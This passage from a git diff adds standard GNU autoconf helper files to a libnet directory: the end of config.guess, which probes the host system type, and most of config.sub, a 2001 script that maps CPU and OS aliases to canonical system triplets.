+ XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*)
+ echo pdp10-xkl-tops20
+ exit 0 ;;
+ *:TOPS-20:*:*)
+ echo pdp10-unknown-tops20
+ exit 0 ;;
+ *:ITS:*:*)
+ echo pdp10-unknown-its
+ exit 0 ;;
+ i*86:XTS-300:*:STOP)
+ echo ${UNAME_MACHINE}-unknown-stop
+ exit 0 ;;
+esac
+
+#echo '(No uname command or uname output not recognized.)' 1>&2
+#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2
+
+cat >$dummy.c <<EOF
+#ifdef _SEQUENT_
+# include <sys/types.h>
+# include <sys/utsname.h>
+#endif
+main ()
+{
+#if defined (sony)
+#if defined (MIPSEB)
+ /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed,
+ I don't know.... */
+ printf ("mips-sony-bsd\n"); exit (0);
+#else
+#include <sys/param.h>
+ printf ("m68k-sony-newsos%s\n",
+#ifdef NEWSOS4
+ "4"
+#else
+ ""
+#endif
+ ); exit (0);
+#endif
+#endif
+
+#if defined (__arm) && defined (__acorn) && defined (__unix)
+ printf ("arm-acorn-riscix"); exit (0);
+#endif
+
+#if defined (hp300) && !defined (hpux)
+ printf ("m68k-hp-bsd\n"); exit (0);
+#endif
+
+#if defined (NeXT)
+#if !defined (__ARCHITECTURE__)
+#define __ARCHITECTURE__ "m68k"
+#endif
+ int version;
+ version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`;
+ if (version < 4)
+ printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version);
+ else
+ printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version);
+ exit (0);
+#endif
+
+#if defined (MULTIMAX) || defined (n16)
+#if defined (UMAXV)
+ printf ("ns32k-encore-sysv\n"); exit (0);
+#else
+#if defined (CMU)
+ printf ("ns32k-encore-mach\n"); exit (0);
+#else
+ printf ("ns32k-encore-bsd\n"); exit (0);
+#endif
+#endif
+#endif
+
+#if defined (__386BSD__)
+ printf ("i386-pc-bsd\n"); exit (0);
+#endif
+
+#if defined (sequent)
+#if defined (i386)
+ printf ("i386-sequent-dynix\n"); exit (0);
+#endif
+#if defined (ns32000)
+ printf ("ns32k-sequent-dynix\n"); exit (0);
+#endif
+#endif
+
+#if defined (_SEQUENT_)
+ struct utsname un;
+
+ uname(&un);
+
+ if (strncmp(un.version, "V2", 2) == 0) {
+ printf ("i386-sequent-ptx2\n"); exit (0);
+ }
+ if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */
+ printf ("i386-sequent-ptx1\n"); exit (0);
+ }
+ printf ("i386-sequent-ptx\n"); exit (0);
+
+#endif
+
+#if defined (vax)
+# if !defined (ultrix)
+# include <sys/param.h>
+# if defined (BSD)
+# if BSD == 43
+ printf ("vax-dec-bsd4.3\n"); exit (0);
+# else
+# if BSD == 199006
+ printf ("vax-dec-bsd4.3reno\n"); exit (0);
+# else
+ printf ("vax-dec-bsd\n"); exit (0);
+# endif
+# endif
+# else
+ printf ("vax-dec-bsd\n"); exit (0);
+# endif
+# else
+ printf ("vax-dec-ultrix\n"); exit (0);
+# endif
+#endif
+
+#if defined (alliant) && defined (i860)
+ printf ("i860-alliant-bsd\n"); exit (0);
+#endif
+
+ exit (1);
+}
+EOF
+
+eval $set_cc_for_build
+$CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy && rm -f $dummy.c $dummy && exit 0
+rm -f $dummy.c $dummy
+
+# Apollos put the system type in the environment.
+
+test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; }
+
+# Convex versions that predate uname can use getsysinfo(1)
+
+if [ -x /usr/convex/getsysinfo ]
+then
+ case `getsysinfo -f cpu_type` in
+ c1*)
+ echo c1-convex-bsd
+ exit 0 ;;
+ c2*)
+ if getsysinfo -f scalar_acc
+ then echo c32-convex-bsd
+ else echo c2-convex-bsd
+ fi
+ exit 0 ;;
+ c34*)
+ echo c34-convex-bsd
+ exit 0 ;;
+ c38*)
+ echo c38-convex-bsd
+ exit 0 ;;
+ c4*)
+ echo c4-convex-bsd
+ exit 0 ;;
+ esac
+fi
+
+cat >&2 <<EOF
+$0: unable to guess system type
+
+This script, last modified $timestamp, has failed to recognize
+the operating system you are using. It is advised that you
+download the most up to date version of the config scripts from
+
+ ftp://ftp.gnu.org/pub/gnu/config/
+
+If the version you run ($0) is already up to date, please
+send the following data and any information you think might be
+pertinent to <config-patches@gnu.org> in order to provide the needed
+information to handle your system.
+
+config.guess timestamp = $timestamp
+
+uname -m = `(uname -m) 2>/dev/null || echo unknown`
+uname -r = `(uname -r) 2>/dev/null || echo unknown`
+uname -s = `(uname -s) 2>/dev/null || echo unknown`
+uname -v = `(uname -v) 2>/dev/null || echo unknown`
+
+/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null`
+/bin/uname -X = `(/bin/uname -X) 2>/dev/null`
+
+hostinfo = `(hostinfo) 2>/dev/null`
+/bin/universe = `(/bin/universe) 2>/dev/null`
+/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null`
+/bin/arch = `(/bin/arch) 2>/dev/null`
+/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null`
+/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null`
+
+UNAME_MACHINE = ${UNAME_MACHINE}
+UNAME_RELEASE = ${UNAME_RELEASE}
+UNAME_SYSTEM = ${UNAME_SYSTEM}
+UNAME_VERSION = ${UNAME_VERSION}
+EOF
+
+exit 1
+
+# Local variables:
+# eval: (add-hook 'write-file-hooks 'time-stamp)
+# time-stamp-start: "timestamp='"
+# time-stamp-format: "%:y-%02m-%02d"
+# time-stamp-end: "'"
+# End:
diff --git a/libnet/config.sub b/libnet/config.sub
new file mode 100644
index 0000000..12ebc78
--- /dev/null
+++ b/libnet/config.sub
@@ -0,0 +1,1410 @@
+#! /bin/sh
+# Configuration validation subroutine script.
+# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
+# Free Software Foundation, Inc.
+
+timestamp='2001-08-13'
+
+# This file is (in principle) common to ALL GNU software.
+# The presence of a machine in this file suggests that SOME GNU software
+# can handle that machine. It does not imply ALL GNU software can.
+#
+# This file is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330,
+# Boston, MA 02111-1307, USA.
+
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+# Please send patches to <config-patches@gnu.org>.
+#
+# Configuration subroutine to validate and canonicalize a configuration type.
+# Supply the specified configuration type as an argument.
+# If it is invalid, we print an error message on stderr and exit with code 1.
+# Otherwise, we print the canonical config type on stdout and succeed.
+
+# This file is supposed to be the same for all GNU packages
+# and recognize all the CPU types, system types and aliases
+# that are meaningful with *any* GNU software.
+# Each package is responsible for reporting which valid configurations
+# it does not support. The user should be able to distinguish
+# a failure to support a valid configuration from a meaningless
+# configuration.
+
+# The goal of this file is to map all the various variations of a given
+# machine specification into a single specification in the form:
+# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM
+# or in some cases, the newer four-part form:
+# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM
+# It is wrong to echo any other type of specification.
+
+me=`echo "$0" | sed -e 's,.*/,,'`
+
+usage="\
+Usage: $0 [OPTION] CPU-MFR-OPSYS
+ $0 [OPTION] ALIAS
+
+Canonicalize a configuration name.
+
+Operation modes:
+ -h, --help print this help, then exit
+ -t, --time-stamp print date of last modification, then exit
+ -v, --version print version number, then exit
+
+Report bugs and patches to <config-patches@gnu.org>."
+
+version="\
+GNU config.sub ($timestamp)
+
+Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
+Free Software Foundation, Inc.
+
+This is free software; see the source for copying conditions. There is NO
+warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
+
+help="
+Try \`$me --help' for more information."
+
+# Parse command line
+while test $# -gt 0 ; do
+ case $1 in
+ --time-stamp | --time* | -t )
+ echo "$timestamp" ; exit 0 ;;
+ --version | -v )
+ echo "$version" ; exit 0 ;;
+ --help | --h* | -h )
+ echo "$usage"; exit 0 ;;
+ -- ) # Stop option processing
+ shift; break ;;
+ - ) # Use stdin as input.
+ break ;;
+ -* )
+ echo "$me: invalid option $1$help"
+ exit 1 ;;
+
+ *local*)
+ # First pass through any local machine types.
+ echo $1
+ exit 0;;
+
+ * )
+ break ;;
+ esac
+done
+
+case $# in
+ 0) echo "$me: missing argument$help" >&2
+ exit 1;;
+ 1) ;;
+ *) echo "$me: too many arguments$help" >&2
+ exit 1;;
+esac
+
+# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any).
+# Here we must recognize all the valid KERNEL-OS combinations.
+maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
+case $maybe_os in
+ nto-qnx* | linux-gnu* | storm-chaos* | os2-emx* | windows32-*)
+ os=-$maybe_os
+ basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'`
+ ;;
+ *)
+ basic_machine=`echo $1 | sed 's/-[^-]*$//'`
+ if [ $basic_machine != $1 ]
+ then os=`echo $1 | sed 's/.*-/-/'`
+ else os=; fi
+ ;;
+esac
+
+### Let's recognize common machines as not being operating systems so
+### that things like config.sub decstation-3100 work. We also
+### recognize some manufacturers as not being operating systems, so we
+### can provide default operating systems below.
+case $os in
+ -sun*os*)
+ # Prevent following clause from handling this invalid input.
+ ;;
+ -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \
+ -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \
+ -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \
+ -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\
+ -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \
+ -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \
+ -apple | -axis)
+ os=
+ basic_machine=$1
+ ;;
+ -sim | -cisco | -oki | -wec | -winbond)
+ os=
+ basic_machine=$1
+ ;;
+ -scout)
+ ;;
+ -wrs)
+ os=-vxworks
+ basic_machine=$1
+ ;;
+ -chorusos*)
+ os=-chorusos
+ basic_machine=$1
+ ;;
+ -chorusrdb)
+ os=-chorusrdb
+ basic_machine=$1
+ ;;
+ -hiux*)
+ os=-hiuxwe2
+ ;;
+ -sco5)
+ os=-sco3.2v5
+ basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+ ;;
+ -sco4)
+ os=-sco3.2v4
+ basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+ ;;
+ -sco3.2.[4-9]*)
+ os=`echo $os | sed -e 's/sco3.2./sco3.2v/'`
+ basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+ ;;
+ -sco3.2v[4-9]*)
+ # Don't forget version if it is 3.2v4 or newer.
+ basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+ ;;
+ -sco*)
+ os=-sco3.2v2
+ basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+ ;;
+ -udk*)
+ basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+ ;;
+ -isc)
+ os=-isc2.2
+ basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+ ;;
+ -clix*)
+ basic_machine=clipper-intergraph
+ ;;
+ -isc*)
+ basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+ ;;
+ -lynx*)
+ os=-lynxos
+ ;;
+ -ptx*)
+ basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'`
+ ;;
+ -windowsnt*)
+ os=`echo $os | sed -e 's/windowsnt/winnt/'`
+ ;;
+ -psos*)
+ os=-psos
+ ;;
+ -mint | -mint[0-9]*)
+ basic_machine=m68k-atari
+ os=-mint
+ ;;
+esac
+
+# Decode aliases for certain CPU-COMPANY combinations.
+case $basic_machine in
+ # Recognize the basic CPU types without company name.
+ # Some are omitted here because they have special meanings below.
+ 1750a | 580 \
+ | a29k \
+ | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \
+ | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \
+ | c4x | clipper \
+ | d10v | d30v | dsp16xx \
+ | fr30 \
+ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \
+ | i370 | i860 | i960 | ia64 \
+ | m32r | m68000 | m68k | m88k | mcore \
+ | mips16 | mips64 | mips64el | mips64orion | mips64orionel \
+ | mips64vr4100 | mips64vr4100el | mips64vr4300 \
+ | mips64vr4300el | mips64vr5000 | mips64vr5000el \
+ | mipsbe | mipsel | mipsle | mipstx39 | mipstx39el \
+ | mn10200 | mn10300 \
+ | ns16k | ns32k \
+ | openrisc \
+ | pdp10 | pdp11 | pj | pjl \
+ | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \
+ | pyramid \
+ | s390 | s390x \
+ | sh | sh[34] | sh[34]eb | shbe | shle \
+ | sparc | sparc64 | sparclet | sparclite | sparcv9 | sparcv9b \
+ | strongarm \
+ | tahoe | thumb | tic80 | tron \
+ | v850 \
+ | we32k \
+ | x86 | xscale \
+ | z8k)
+ basic_machine=$basic_machine-unknown
+ ;;
+ m6811 | m68hc11 | m6812 | m68hc12)
+ # Motorola 68HC11/12.
+ basic_machine=$basic_machine-unknown
+ os=-none
+ ;;
+ m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k)
+ ;;
+
+ # We use `pc' rather than `unknown'
+ # because (1) that's what they normally are, and
+ # (2) the word "unknown" tends to confuse beginning users.
+ i*86 | x86_64)
+ basic_machine=$basic_machine-pc
+ ;;
+ # Object if more than one company name word.
+ *-*-*)
+ echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2
+ exit 1
+ ;;
+ # Recognize the basic CPU types with company name.
+ 580-* \
+ | a29k-* \
+ | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \
+ | alphapca5[67]-* | arc-* \
+ | arm-* | armbe-* | armle-* | armv*-* \
+ | bs2000-* \
+ | c[123]* | c30-* | [cjt]90-* | c54x-* \
+ | clipper-* | cray2-* | cydra-* \
+ | d10v-* | d30v-* \
+ | elxsi-* \
+ | f30[01]-* | f700-* | fr30-* | fx80-* \
+ | h8300-* | h8500-* \
+ | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \
+ | i*86-* | i860-* | i960-* | ia64-* \
+ | m32r-* \
+ | m68000-* | m680[01234]0-* | m68360-* | m683?2-* | m68k-* \
+ | m88110-* | m88k-* | mcore-* \
+ | mips-* | mips16-* | mips64-* | mips64el-* | mips64orion-* \
+ | mips64orionel-* | mips64vr4100-* | mips64vr4100el-* \
+ | mips64vr4300-* | mips64vr4300el-* | mipsbe-* | mipsel-* \
+ | mipsle-* | mipstx39-* | mipstx39el-* \
+ | none-* | np1-* | ns16k-* | ns32k-* \
+ | orion-* \
+ | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \
+ | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \
+ | pyramid-* \
+ | romp-* | rs6000-* \
+ | s390-* | s390x-* \
+ | sh-* | sh[34]-* | sh[34]eb-* | shbe-* | shle-* \
+ | sparc-* | sparc64-* | sparc86x-* | sparclite-* \
+ | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* \
+ | t3e-* | tahoe-* | thumb-* | tic30-* | tic54x-* | tic80-* | tron-* \
+ | v850-* | vax-* \
+ | we32k-* \
+ | x86-* | x86_64-* | xmp-* | xps100-* | xscale-* \
+ | ymp-* \
+ | z8k-*)
+ ;;
+ # Recognize the various machine names and aliases which stand
+ # for a CPU type and a company and sometimes even an OS.
+ 386bsd)
+ basic_machine=i386-unknown
+ os=-bsd
+ ;;
+ 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc)
+ basic_machine=m68000-att
+ ;;
+ 3b*)
+ basic_machine=we32k-att
+ ;;
+ a29khif)
+ basic_machine=a29k-amd
+ os=-udi
+ ;;
+ adobe68k)
+ basic_machine=m68010-adobe
+ os=-scout
+ ;;
+ alliant | fx80)
+ basic_machine=fx80-alliant
+ ;;
+ altos | altos3068)
+ basic_machine=m68k-altos
+ ;;
+ am29k)
+ basic_machine=a29k-none
+ os=-bsd
+ ;;
+ amdahl)
+ basic_machine=580-amdahl
+ os=-sysv
+ ;;
+ amiga | amiga-*)
+ basic_machine=m68k-unknown
+ ;;
+ amigaos | amigados)
+ basic_machine=m68k-unknown
+ os=-amigaos
+ ;;
+ amigaunix | amix)
+ basic_machine=m68k-unknown
+ os=-sysv4
+ ;;
+ apollo68)
+ basic_machine=m68k-apollo
+ os=-sysv
+ ;;
+ apollo68bsd)
+ basic_machine=m68k-apollo
+ os=-bsd
+ ;;
+ aux)
+ basic_machine=m68k-apple
+ os=-aux
+ ;;
+ balance)
+ basic_machine=ns32k-sequent
+ os=-dynix
+ ;;
+ convex-c1)
+ basic_machine=c1-convex
+ os=-bsd
+ ;;
+ convex-c2)
+ basic_machine=c2-convex
+ os=-bsd
+ ;;
+ convex-c32)
+ basic_machine=c32-convex
+ os=-bsd
+ ;;
+ convex-c34)
+ basic_machine=c34-convex
+ os=-bsd
+ ;;
+ convex-c38)
+ basic_machine=c38-convex
+ os=-bsd
+ ;;
+ cray | ymp)
+ basic_machine=ymp-cray
+ os=-unicos
+ ;;
+ cray2)
+ basic_machine=cray2-cray
+ os=-unicos
+ ;;
+ [cjt]90)
+ basic_machine=${basic_machine}-cray
+ os=-unicos
+ ;;
+ crds | unos)
+ basic_machine=m68k-crds
+ ;;
+ cris | cris-* | etrax*)
+ basic_machine=cris-axis
+ ;;
+ da30 | da30-*)
+ basic_machine=m68k-da30
+ ;;
+ decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn)
+ basic_machine=mips-dec
+ ;;
+ delta | 3300 | motorola-3300 | motorola-delta \
+ | 3300-motorola | delta-motorola)
+ basic_machine=m68k-motorola
+ ;;
+ delta88)
+ basic_machine=m88k-motorola
+ os=-sysv3
+ ;;
+ dpx20 | dpx20-*)
+ basic_machine=rs6000-bull
+ os=-bosx
+ ;;
+ dpx2* | dpx2*-bull)
+ basic_machine=m68k-bull
+ os=-sysv3
+ ;;
+ ebmon29k)
+ basic_machine=a29k-amd
+ os=-ebmon
+ ;;
+ elxsi)
+ basic_machine=elxsi-elxsi
+ os=-bsd
+ ;;
+ encore | umax | mmax)
+ basic_machine=ns32k-encore
+ ;;
+ es1800 | OSE68k | ose68k | ose | OSE)
+ basic_machine=m68k-ericsson
+ os=-ose
+ ;;
+ fx2800)
+ basic_machine=i860-alliant
+ ;;
+ genix)
+ basic_machine=ns32k-ns
+ ;;
+ gmicro)
+ basic_machine=tron-gmicro
+ os=-sysv
+ ;;
+ go32)
+ basic_machine=i386-pc
+ os=-go32
+ ;;
+ h3050r* | hiux*)
+ basic_machine=hppa1.1-hitachi
+ os=-hiuxwe2
+ ;;
+ h8300hms)
+ basic_machine=h8300-hitachi
+ os=-hms
+ ;;
+ h8300xray)
+ basic_machine=h8300-hitachi
+ os=-xray
+ ;;
+ h8500hms)
+ basic_machine=h8500-hitachi
+ os=-hms
+ ;;
+ harris)
+ basic_machine=m88k-harris
+ os=-sysv3
+ ;;
+ hp300-*)
+ basic_machine=m68k-hp
+ ;;
+ hp300bsd)
+ basic_machine=m68k-hp
+ os=-bsd
+ ;;
+ hp300hpux)
+ basic_machine=m68k-hp
+ os=-hpux
+ ;;
+ hp3k9[0-9][0-9] | hp9[0-9][0-9])
+ basic_machine=hppa1.0-hp
+ ;;
+ hp9k2[0-9][0-9] | hp9k31[0-9])
+ basic_machine=m68000-hp
+ ;;
+ hp9k3[2-9][0-9])
+ basic_machine=m68k-hp
+ ;;
+ hp9k6[0-9][0-9] | hp6[0-9][0-9])
+ basic_machine=hppa1.0-hp
+ ;;
+ hp9k7[0-79][0-9] | hp7[0-79][0-9])
+ basic_machine=hppa1.1-hp
+ ;;
+ hp9k78[0-9] | hp78[0-9])
+ # FIXME: really hppa2.0-hp
+ basic_machine=hppa1.1-hp
+ ;;
+ hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893)
+ # FIXME: really hppa2.0-hp
+ basic_machine=hppa1.1-hp
+ ;;
+ hp9k8[0-9][13679] | hp8[0-9][13679])
+ basic_machine=hppa1.1-hp
+ ;;
+ hp9k8[0-9][0-9] | hp8[0-9][0-9])
+ basic_machine=hppa1.0-hp
+ ;;
+ hppa-next)
+ os=-nextstep3
+ ;;
+ hppaosf)
+ basic_machine=hppa1.1-hp
+ os=-osf
+ ;;
+ hppro)
+ basic_machine=hppa1.1-hp
+ os=-proelf
+ ;;
+ i370-ibm* | ibm*)
+ basic_machine=i370-ibm
+ ;;
+# I'm not sure what "Sysv32" means. Should this be sysv3.2?
+ i*86v32)
+ basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
+ os=-sysv32
+ ;;
+ i*86v4*)
+ basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
+ os=-sysv4
+ ;;
+ i*86v)
+ basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
+ os=-sysv
+ ;;
+ i*86sol2)
+ basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
+ os=-solaris2
+ ;;
+ i386mach)
+ basic_machine=i386-mach
+ os=-mach
+ ;;
+ i386-vsta | vsta)
+ basic_machine=i386-unknown
+ os=-vsta
+ ;;
+ iris | iris4d)
+ basic_machine=mips-sgi
+ case $os in
+ -irix*)
+ ;;
+ *)
+ os=-irix4
+ ;;
+ esac
+ ;;
+ isi68 | isi)
+ basic_machine=m68k-isi
+ os=-sysv
+ ;;
+ m88k-omron*)
+ basic_machine=m88k-omron
+ ;;
+ magnum | m3230)
+ basic_machine=mips-mips
+ os=-sysv
+ ;;
+ merlin)
+ basic_machine=ns32k-utek
+ os=-sysv
+ ;;
+ mingw32)
+ basic_machine=i386-pc
+ os=-mingw32
+ ;;
+ miniframe)
+ basic_machine=m68000-convergent
+ ;;
+ *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*)
+ basic_machine=m68k-atari
+ os=-mint
+ ;;
+ mipsel*-linux*)
+ basic_machine=mipsel-unknown
+ os=-linux-gnu
+ ;;
+ mips*-linux*)
+ basic_machine=mips-unknown
+ os=-linux-gnu
+ ;;
+ mips3*-*)
+ basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`
+ ;;
+ mips3*)
+ basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown
+ ;;
+ mmix*)
+ basic_machine=mmix-knuth
+ os=-mmixware
+ ;;
+ monitor)
+ basic_machine=m68k-rom68k
+ os=-coff
+ ;;
+ msdos)
+ basic_machine=i386-pc
+ os=-msdos
+ ;;
+ mvs)
+ basic_machine=i370-ibm
+ os=-mvs
+ ;;
+ ncr3000)
+ basic_machine=i486-ncr
+ os=-sysv4
+ ;;
+ netbsd386)
+ basic_machine=i386-unknown
+ os=-netbsd
+ ;;
+ netwinder)
+ basic_machine=armv4l-rebel
+ os=-linux
+ ;;
+ news | news700 | news800 | news900)
+ basic_machine=m68k-sony
+ os=-newsos
+ ;;
+ news1000)
+ basic_machine=m68030-sony
+ os=-newsos
+ ;;
+ news-3600 | risc-news)
+ basic_machine=mips-sony
+ os=-newsos
+ ;;
+ necv70)
+ basic_machine=v70-nec
+ os=-sysv
+ ;;
+ next | m*-next )
+ basic_machine=m68k-next
+ case $os in
+ -nextstep* )
+ ;;
+ -ns2*)
+ os=-nextstep2
+ ;;
+ *)
+ os=-nextstep3
+ ;;
+ esac
+ ;;
+ nh3000)
+ basic_machine=m68k-harris
+ os=-cxux
+ ;;
+ nh[45]000)
+ basic_machine=m88k-harris
+ os=-cxux
+ ;;
+ nindy960)
+ basic_machine=i960-intel
+ os=-nindy
+ ;;
+ mon960)
+ basic_machine=i960-intel
+ os=-mon960
+ ;;
+ nonstopux)
+ basic_machine=mips-compaq
+ os=-nonstopux
+ ;;
+ np1)
+ basic_machine=np1-gould
+ ;;
+ nsr-tandem)
+ basic_machine=nsr-tandem
+ ;;
+ op50n-* | op60c-*)
+ basic_machine=hppa1.1-oki
+ os=-proelf
+ ;;
+ OSE68000 | ose68000)
+ basic_machine=m68000-ericsson
+ os=-ose
+ ;;
+ os68k)
+ basic_machine=m68k-none
+ os=-os68k
+ ;;
+ pa-hitachi)
+ basic_machine=hppa1.1-hitachi
+ os=-hiuxwe2
+ ;;
+ paragon)
+ basic_machine=i860-intel
+ os=-osf
+ ;;
+ pbd)
+ basic_machine=sparc-tti
+ ;;
+ pbb)
+ basic_machine=m68k-tti
+ ;;
+ pc532 | pc532-*)
+ basic_machine=ns32k-pc532
+ ;;
+ pentium | p5 | k5 | k6 | nexgen)
+ basic_machine=i586-pc
+ ;;
+ pentiumpro | p6 | 6x86 | athlon)
+ basic_machine=i686-pc
+ ;;
+ pentiumii | pentium2)
+ basic_machine=i686-pc
+ ;;
+ pentium-* | p5-* | k5-* | k6-* | nexgen-*)
+ basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'`
+ ;;
+ pentiumpro-* | p6-* | 6x86-* | athlon-*)
+ basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
+ ;;
+ pentiumii-* | pentium2-*)
+ basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
+ ;;
+ pn)
+ basic_machine=pn-gould
+ ;;
+ power) basic_machine=power-ibm
+ ;;
+ ppc) basic_machine=powerpc-unknown
+ ;;
+ ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'`
+ ;;
+ ppcle | powerpclittle | ppc-le | powerpc-little)
+ basic_machine=powerpcle-unknown
+ ;;
+ ppcle-* | powerpclittle-*)
+ basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'`
+ ;;
+ ppc64) basic_machine=powerpc64-unknown
+ ;;
+ ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'`
+ ;;
+ ppc64le | powerpc64little | ppc64-le | powerpc64-little)
+ basic_machine=powerpc64le-unknown
+ ;;
+ ppc64le-* | powerpc64little-*)
+ basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'`
+ ;;
+ ps2)
+ basic_machine=i386-ibm
+ ;;
+ pw32)
+ basic_machine=i586-unknown
+ os=-pw32
+ ;;
+ rom68k)
+ basic_machine=m68k-rom68k
+ os=-coff
+ ;;
+ rm[46]00)
+ basic_machine=mips-siemens
+ ;;
+ rtpc | rtpc-*)
+ basic_machine=romp-ibm
+ ;;
+ sa29200)
+ basic_machine=a29k-amd
+ os=-udi
+ ;;
+ sequent)
+ basic_machine=i386-sequent
+ ;;
+ sh)
+ basic_machine=sh-hitachi
+ os=-hms
+ ;;
+ sparclite-wrs)
+ basic_machine=sparclite-wrs
+ os=-vxworks
+ ;;
+ sps7)
+ basic_machine=m68k-bull
+ os=-sysv2
+ ;;
+ spur)
+ basic_machine=spur-unknown
+ ;;
+ st2000)
+ basic_machine=m68k-tandem
+ ;;
+ stratus)
+ basic_machine=i860-stratus
+ os=-sysv4
+ ;;
+ sun2)
+ basic_machine=m68000-sun
+ ;;
+ sun2os3)
+ basic_machine=m68000-sun
+ os=-sunos3
+ ;;
+ sun2os4)
+ basic_machine=m68000-sun
+ os=-sunos4
+ ;;
+ sun3os3)
+ basic_machine=m68k-sun
+ os=-sunos3
+ ;;
+ sun3os4)
+ basic_machine=m68k-sun
+ os=-sunos4
+ ;;
+ sun4os3)
+ basic_machine=sparc-sun
+ os=-sunos3
+ ;;
+ sun4os4)
+ basic_machine=sparc-sun
+ os=-sunos4
+ ;;
+ sun4sol2)
+ basic_machine=sparc-sun
+ os=-solaris2
+ ;;
+ sun3 | sun3-*)
+ basic_machine=m68k-sun
+ ;;
+ sun4)
+ basic_machine=sparc-sun
+ ;;
+ sun386 | sun386i | roadrunner)
+ basic_machine=i386-sun
+ ;;
+ sv1)
+ basic_machine=sv1-cray
+ os=-unicos
+ ;;
+ symmetry)
+ basic_machine=i386-sequent
+ os=-dynix
+ ;;
+ t3e)
+ basic_machine=t3e-cray
+ os=-unicos
+ ;;
+ tic54x | c54x*)
+ basic_machine=tic54x-unknown
+ os=-coff
+ ;;
+ tx39)
+ basic_machine=mipstx39-unknown
+ ;;
+ tx39el)
+ basic_machine=mipstx39el-unknown
+ ;;
+ tower | tower-32)
+ basic_machine=m68k-ncr
+ ;;
+ udi29k)
+ basic_machine=a29k-amd
+ os=-udi
+ ;;
+ ultra3)
+ basic_machine=a29k-nyu
+ os=-sym1
+ ;;
+ v810 | necv810)
+ basic_machine=v810-nec
+ os=-none
+ ;;
+ vaxv)
+ basic_machine=vax-dec
+ os=-sysv
+ ;;
+ vms)
+ basic_machine=vax-dec
+ os=-vms
+ ;;
